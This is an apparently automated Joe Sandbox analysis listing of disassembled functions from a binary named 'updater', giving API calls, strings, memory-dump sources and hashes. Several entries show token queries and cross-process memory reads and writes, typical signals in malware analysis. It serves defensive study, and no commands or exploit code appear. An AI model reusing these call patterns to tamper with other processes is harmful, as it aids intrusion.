Opcode ID: 71a2db05238347dc7a39b6ed4ced65cad112d84c9e1d4ce0e8bfe472935178e1
Instruction ID: 4e1b598b226ec2b76ec620bfd72a265333066cf758f5b26fddc8ec1e5dbff4e6
Opcode Fuzzy Hash: 71a2db05238347dc7a39b6ed4ced65cad112d84c9e1d4ce0e8bfe472935178e1
Instruction Fuzzy Hash: BA019A7AA01318BBCB104F54DD08BAE7BADFF44352F204128FA08D2250E732EE40CBA0

Function 00C08CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00C08CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00C08CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00C08CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00C08CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00C08D14

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 84c19202895d57f2c37209ecc2c6f72affd4632f3bbf5f1698be720a13aab2e5
Instruction ID: 8f8913138bb53fa0d60d8c2964313056fb1056e61af6f4c43a15c1e148574753
Opcode Fuzzy Hash: 84c19202895d57f2c37209ecc2c6f72affd4632f3bbf5f1698be720a13aab2e5
Instruction Fuzzy Hash: 3AF0AF38240305BFEF200FA49C88F6B3BACFF5A755B208529FA44C2190CA709C04DB60

Function 00C08D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00C08D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00C08D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00C08D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00C08D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00C08D75

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: ef9dcfc39358bd12d29938cb6b5b2684dd46be1890bd843905b3079a4c510f3b
Instruction ID: 1e6166506298c135702da4bce32e9e08b68d192a3195d02474a717be2805d7d3
Opcode Fuzzy Hash: ef9dcfc39358bd12d29938cb6b5b2684dd46be1890bd843905b3079a4c510f3b
Instruction Fuzzy Hash: 17F0AF34280305AFEB210FA4EC88F6B3BACFF4A755F644219FA84C2190CB709E04DB60

Function 00C0CD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00C0CD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 00C0CDA7
MessageBeep.USER32(00000000), ref: 00C0CDBF
KillTimer.USER32(?,0000040A), ref: 00C0CDDB
EndDialog.USER32(?,00000001), ref: 00C0CDF5

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: b19acc78c3a3960f397ad8214625fd93d40b917521949789e5125f3be6a5ad4a
Instruction ID: 0d9f92d4f2e9610125b817966dac13065411907c8d24927c4f247ba6a1b0f2de
Opcode Fuzzy Hash: b19acc78c3a3960f397ad8214625fd93d40b917521949789e5125f3be6a5ad4a
Instruction Fuzzy Hash: D701D634540704ABEB205B20DC8EFAA7BB8FB01701F000769FA93A10E1DBF0A954CF80

Function 00BB178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00BB179B
StrokeAndFillPath.GDI32(?,?,00BEBBC9,00000000,?), ref: 00BB17B7
SelectObject.GDI32(?,00000000), ref: 00BB17CA
DeleteObject.GDI32 ref: 00BB17DD
StrokePath.GDI32(?), ref: 00BB17F8

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 721751c46433bd12eeaac2acd2f9af0739031193da9dc17ebc2ebc9f28c8f943
Instruction ID: 5ce59f951d770389f0cba96a8c95335ffaa5854b2e41e068dfa1013fd08f5f79
Opcode Fuzzy Hash: 721751c46433bd12eeaac2acd2f9af0739031193da9dc17ebc2ebc9f28c8f943
Instruction Fuzzy Hash: E2F0193000824CEBDB255F2AEC4CBAD3BA4FB02322F588354E92DA51F1CB704995DF51

Function 00BBE3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00BD0FE6: std::exception::exception.LIBCMT ref: 00BD101C
Part of subcall function 00BD0FE6: __CxxThrowException@8.LIBCMT ref: 00BD1031

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00BC1680: _memmove.LIBCMT ref: 00BC16DB

__swprintf.LIBCMT ref: 00BBE598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00BBE431

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 9d5e5c2e59c8cf6e6642745e9dd2d1ee8304ecbaddefba39ad6059c1f39237cd
Instruction ID: d8c8450308b8ed87badd3202ef095e32767807167812249b223917ca8f5eb7db
Opcode Fuzzy Hash: 9d5e5c2e59c8cf6e6642745e9dd2d1ee8304ecbaddefba39ad6059c1f39237cd
Instruction Fuzzy Hash: 23918271504201AFC724EF28C895DBEB7E4EF95300F40499EF596972A2EB70ED45CB92

Function 00C1BF7E Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BC2A58,?,00008000), ref: 00BD02A4

CoInitialize.OLE32(00000000), ref: 00C1BFFE
CoCreateInstance.OLE32(00C43D3C,00000000,00000001,00C43BAC,?), ref: 00C1C017
CoUninitialize.OLE32 ref: 00C1C034

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

Strings

.lnk, xrefs: 00C1BFE0, 00C1BFEE

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 333d812b2da6d9709c2001656649cb535c7ec83e93d4c776815ec2974ec8815b
Instruction ID: 1bb948667849871af99f30cf3d573fb5de407ef63787d1bc6e7b0a72398edf38
Opcode Fuzzy Hash: 333d812b2da6d9709c2001656649cb535c7ec83e93d4c776815ec2974ec8815b
Instruction Fuzzy Hash: ADA158756443019FC710DF54C884EAAB7E5FF8A314F148998F8A99B3A2CB31ED85CB91

Function 00BD523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00BD52CD

Part of subcall function 00BE0320: __87except.LIBCMT ref: 00BE035B

Strings

pow, xrefs: 00BD52A5, 00BD52C2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: a4ef75b8939e1a5ce86604a654496767e39b6c818a1cd88d88a9a3516ca2c1a9
Instruction ID: af4cc64da0456075d6633626c248cc660853104eaf74dd10ccca375e229546b3
Opcode Fuzzy Hash: a4ef75b8939e1a5ce86604a654496767e39b6c818a1cd88d88a9a3516ca2c1a9
Instruction Fuzzy Hash: C051806191964187CB217716CA8137EBBF4DB00760F304DEAE4C6463E9FFB48CC89A56

Function 00BD0654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 00BD0699
+, xrefs: 00BD0690

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: fae41dbeecf5adf5c397995794056df22aa11e7d046592666ec80cc798a5996d
Instruction ID: 7fdffe862f81550f0431bf16a75413e97f0d90a058a59d31ba5ee9ea6d9fb1e7
Opcode Fuzzy Hash: fae41dbeecf5adf5c397995794056df22aa11e7d046592666ec80cc798a5996d
Instruction Fuzzy Hash: F6512475500256CFDB15EF28C484AFABBE4EF56310F148196FCA1AB2D1D730AE92CB60

Function 012575D9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,012577A3,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 01257608

Part of subcall function 012572A1: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 012572BF

Strings

yyyy, xrefs: 012576FA
eeee, xrefs: 01257713
ggg, xrefs: 012576ED

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 783fd1db25ffc87eb5757a89bc64d16dc0c4e020e4aac4cae18578e4a1a2033a
Instruction ID: e6be78adcd425bd12b63b2af2b4131284298cba127ed02d6442e5d84f7058b52
Opcode Fuzzy Hash: 783fd1db25ffc87eb5757a89bc64d16dc0c4e020e4aac4cae18578e4a1a2033a
Instruction Fuzzy Hash: A641F12837014B4FD799AA7DE8C06BEF7EAEFA5210BD44065DD41D7358EA70ED028B21

Function 00BCCF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BCCFC2
_memmove.LIBCMT ref: 00BCD060
_memset.LIBCMT ref: 00BCD084

Strings

ERCP, xrefs: 00BCCF2D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: bd8fbaaed790f3ff757b2f81fbc4d330db53db4ab24fa39ab98b3decea696b06
Instruction ID: b3f917d0413bbb08030360c43b008593634a12630e4632cd1f0d1cceaa5e3b71
Opcode Fuzzy Hash: bd8fbaaed790f3ff757b2f81fbc4d330db53db4ab24fa39ab98b3decea696b06
Instruction Fuzzy Hash: F751B4B19007099BDB24CF69C8D1BAABBF4EF04314F1485BEE95ADB291E731D685CB40

Function 00C0A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C11CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00C09E4E,?,?,00000034,00000800,?,00000034), ref: 00C11CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00C0A3F7

Part of subcall function 00C11C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00C09E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00C11CB0

Part of subcall function 00C11BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00C11C08
Part of subcall function 00C11BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00C09E12,00000034,?,?,00001004,00000000,00000000), ref: 00C11C18
Part of subcall function 00C11BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00C09E12,00000034,?,?,00001004,00000000,00000000), ref: 00C11C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00C0A464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00C0A4B1

Strings

@, xrefs: 00C0A4C9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 34b93dc1640633ca8c05ece38c6c1ef05b7c36052ff3eca4014e16c50a854a7e
Instruction ID: 76419472fb060d103c41574548676d21d12f6bebe5b70b116419a310448987ee
Opcode Fuzzy Hash: 34b93dc1640633ca8c05ece38c6c1ef05b7c36052ff3eca4014e16c50a854a7e
Instruction Fuzzy Hash: 9A414B7694121CAFCB10DFA4CC85BEEBBB8EB46340F144095FA55B7180DA706E85DBA1

Function 00C37F6B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00C40980,00000000,?,?,?,?), ref: 00C38004
GetWindowLongW.USER32 ref: 00C38021
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00C38031

Strings

SysTreeView32, xrefs: 00C37FD6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 84b88e5337d43dad7ce6055e55d7a4fbfc100cc1c2c410cbb2c0f17c79a19405
Instruction ID: d3a88250c7200c4570a6443581e58d6124697301d777e42b073c407d4d252be3
Opcode Fuzzy Hash: 84b88e5337d43dad7ce6055e55d7a4fbfc100cc1c2c410cbb2c0f17c79a19405
Instruction Fuzzy Hash: 3831BE71220209AFDF258F78CC41BEA77A9FB49324F244325F975A32E0CB70AD549B60

Function 00C379FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00C37A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00C37A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 00C37ABE

Strings

SysMonthCal32, xrefs: 00C37A51

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 5fcd66e3abcb05afc6c8401146dddeac1ea1400c045f50a64b7f56e9cb15592a
Instruction ID: a75ed89743dd3a35f50cd8602630d2c20f31b8c782b9500dc7f3eee5b604b4c3
Opcode Fuzzy Hash: 5fcd66e3abcb05afc6c8401146dddeac1ea1400c045f50a64b7f56e9cb15592a
Instruction Fuzzy Hash: 0721A132654219BFDF258F54CC82FEE3BA9EF48724F111214FE156B190DAB1A950EBA0

Function 00C381B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00C3826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00C3827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00C38284

Strings

msctls_updown32, xrefs: 00C381E9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 943c71445d2e79af8708f4e219a3732afb2310b359858eff1db375273df6d334
Instruction ID: a0281add508b206d7b30379022abdeec1deb5aa9a1535249e1fdf0e09a694177
Opcode Fuzzy Hash: 943c71445d2e79af8708f4e219a3732afb2310b359858eff1db375273df6d334
Instruction Fuzzy Hash: 4C21A1B5610209AFDB10DF54CCC5EAB37EDEB4A394F180159FA1597291CB71EC51CBA0

Function 00C372D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00C37360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00C37370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00C37395

Strings

Listbox, xrefs: 00C3732D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 9343221895019f1e391c5498052d0be7e252523dace0b267c099d8df50bddb2c
Instruction ID: 3633c70fcb5d9f6d1d98fabad37706bde7f202e1b0622146b0e114dac4fd2159
Opcode Fuzzy Hash: 9343221895019f1e391c5498052d0be7e252523dace0b267c099d8df50bddb2c
Instruction Fuzzy Hash: 8A21C272624118BFDF228F54CC85FFF37AAEB89754F118224FE159B1A0C671AC519BA0

Function 00C37D33 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00C37D97
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00C37DAC
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00C37DB9

Strings

msctls_trackbar32, xrefs: 00C37D6E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 3c134334f998e1a6367d5e514caf62e9c1d221b532b30a471f03a99f933fc1b5
Instruction ID: 0b7b8a1502090e76818fd9d5a79475236148ef830d83a15a106225d4e9edcfa6
Opcode Fuzzy Hash: 3c134334f998e1a6367d5e514caf62e9c1d221b532b30a471f03a99f933fc1b5
Instruction Fuzzy Hash: AE1136B2254209BFDF209F64CC45FEB37A9EF88B14F114228FB51A6090C671D810CB20

Function 0126797D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,?,012683B8,0000001C,?,012679FD,0000001C), ref: 0126799C
GetProcAddress.KERNEL32(00000000,VirtualQueryEx), ref: 012679A9

Strings

VirtualQueryEx, xrefs: 012679A3
kernel32.dll, xrefs: 01267997

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VirtualQueryEx$kernel32.dll
API String ID: 1646373207-930368515
Opcode ID: 6c6073c8ba5a7116e840ae2898feda9f206d348b8cd17527417c271370d1e4d8
Instruction ID: 00d3225d7e687a3089098efc7fba27d2f7dc5f7c1ece2725852458824a2697c3
Opcode Fuzzy Hash: 6c6073c8ba5a7116e840ae2898feda9f206d348b8cd17527417c271370d1e4d8
Instruction Fuzzy Hash: 90E02B722156057AA300A6FA6C00CAFBBACCFC6570B60431DB524831D0D5300D8182A0

Function 01267989 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,?,012683B8,0000001C,?,012679FD,0000001C), ref: 0126799C
